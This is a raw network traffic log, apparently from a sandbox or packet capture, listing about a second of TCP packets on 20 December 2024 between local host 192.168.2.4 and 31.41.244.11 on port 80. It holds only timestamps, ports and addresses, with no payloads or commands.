Dec 20, 2024 07:12:29.945879936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.945943117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.946012974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.947052956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.947088957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.947113991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.947309017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.947949886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.947985888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.948013067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.948098898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.948492050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.948558092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.948630095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.948698044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.949683905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.949764013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.949822903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.949995995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.950853109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.950933933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.950980902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.951046944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.952028990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.952112913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.952157974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.952223063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.953202009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.953277111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.953313112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.953388929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.954377890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.954461098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.954495907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.954566002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.955590010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.955647945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.955714941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.955794096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.956752062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.956841946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.956851959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.956975937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.957946062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.958014965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.958065987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.958220959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.959111929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.959204912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.959213972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.959280014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.960333109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.960401058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.960477114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.960542917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.961478949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.961560011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.961635113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.961692095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.962677002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.962752104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.962820053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.962960958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.963860035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.963922977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.963985920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.964056969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.965071917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.965142012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.965181112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.965253115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.966322899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.966404915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.966442108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.966510057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.969957113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.970024109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.970144987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.970196009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.970231056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.970240116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.970266104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.970283985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.970283985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.970302105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.970346928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.970346928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.972016096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.972048998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.972099066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.972099066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.973258018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.973418951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.973464012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.973553896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.974204063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.974306107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.974427938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.974514961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.975502968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.975598097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.975677013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.975734949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.976799965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.976835012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.976881981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.976881981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.977881908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.977931023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.977981091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.977981091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.978961945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.979110956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.979149103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.979255915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.980041027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.980099916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.980227947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.980281115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.981385946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.981499910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.981580973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.981647968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.982651949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.982686043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.982729912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.982769966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.983733892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.983918905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.983967066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.984021902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.984814882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.984889984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.984972000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.985068083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.986072063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.986136913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.986247063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.986318111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.987339973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.987375975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.987432003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.987432003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.988373995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.988468885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.988547087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.988605022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.989624023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.989679098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.989784956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.989840984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.990856886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.990933895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.991025925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.991102934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.991955996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.992027998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.992135048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.992222071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.993259907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.993294001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.993335962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.993335962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.994301081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.994359016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.994554996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.994652033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.995601892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.995683908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.995759964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.995959044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.996695042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.996754885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.123056889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.123131990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.123136997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.123197079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.123568058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.123689890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.123764038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.124762058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.124864101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.124872923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.124932051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.125931025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.126044989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.126079082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.126132011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.127120018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.127197981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.127238989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.127330065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.128340960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.128427982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.128485918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.129481077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.129570961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.129688025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.133716106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.133862972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.133955002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.134283066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.134335995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.134501934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.135494947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.135603905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.135612011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.136673927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.136778116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.136805058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.137554884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.137808084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.137995958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.138073921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.139013052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.139215946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.139280081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.140186071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.140306950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.140378952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.141401052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.141546011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.141585112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.142580032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.142644882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.142683029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.142745018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.143773079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.143851042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.143882036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.143996954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.144973993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.145054102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.145127058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.145230055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.146158934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.146277905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.146287918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.146344900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.147388935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.147485018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.147491932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.147573948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.148500919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.148628950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.148735046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.149672031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.149794102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.149862051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.150872946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.150945902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.151034117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.152076006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.152190924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.152192116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.153237104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.153320074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.153378963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.153450012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.154419899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.154555082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.154628038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.155601025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.155723095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.155839920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.156795025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.156975985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.157080889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.157994032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.158082008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.158183098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.159142017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.159212112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.159274101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.160325050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.160454035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.160463095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.161520958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.161569118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.161569118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.161633015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.161689043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.162689924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.162833929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.163036108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.163924932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.164105892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.164422035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.165081978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.165218115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.165226936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.165544033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.166271925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.166374922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.166452885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.167448997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.167526007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.167589903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.167882919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.168648958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.168718100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.168761015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.168984890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.169802904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.169960022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.170067072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.171000004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.171117067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.171250105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.172192097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.172266006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.172391891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.173393965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.173428059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.173466921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.173501015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.174566984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.174834967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.174943924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.175740004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.175874949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.175941944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.176930904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.176985025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.177057028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.177565098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.178122997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.178195000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.178230047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.178311110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.179383039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.179419041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.179461002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.179461002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.180483103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.180540085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.180599928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.181564093 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.181611061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.181667089 CET	49801	80	192.168.2.4	31.41.244.11
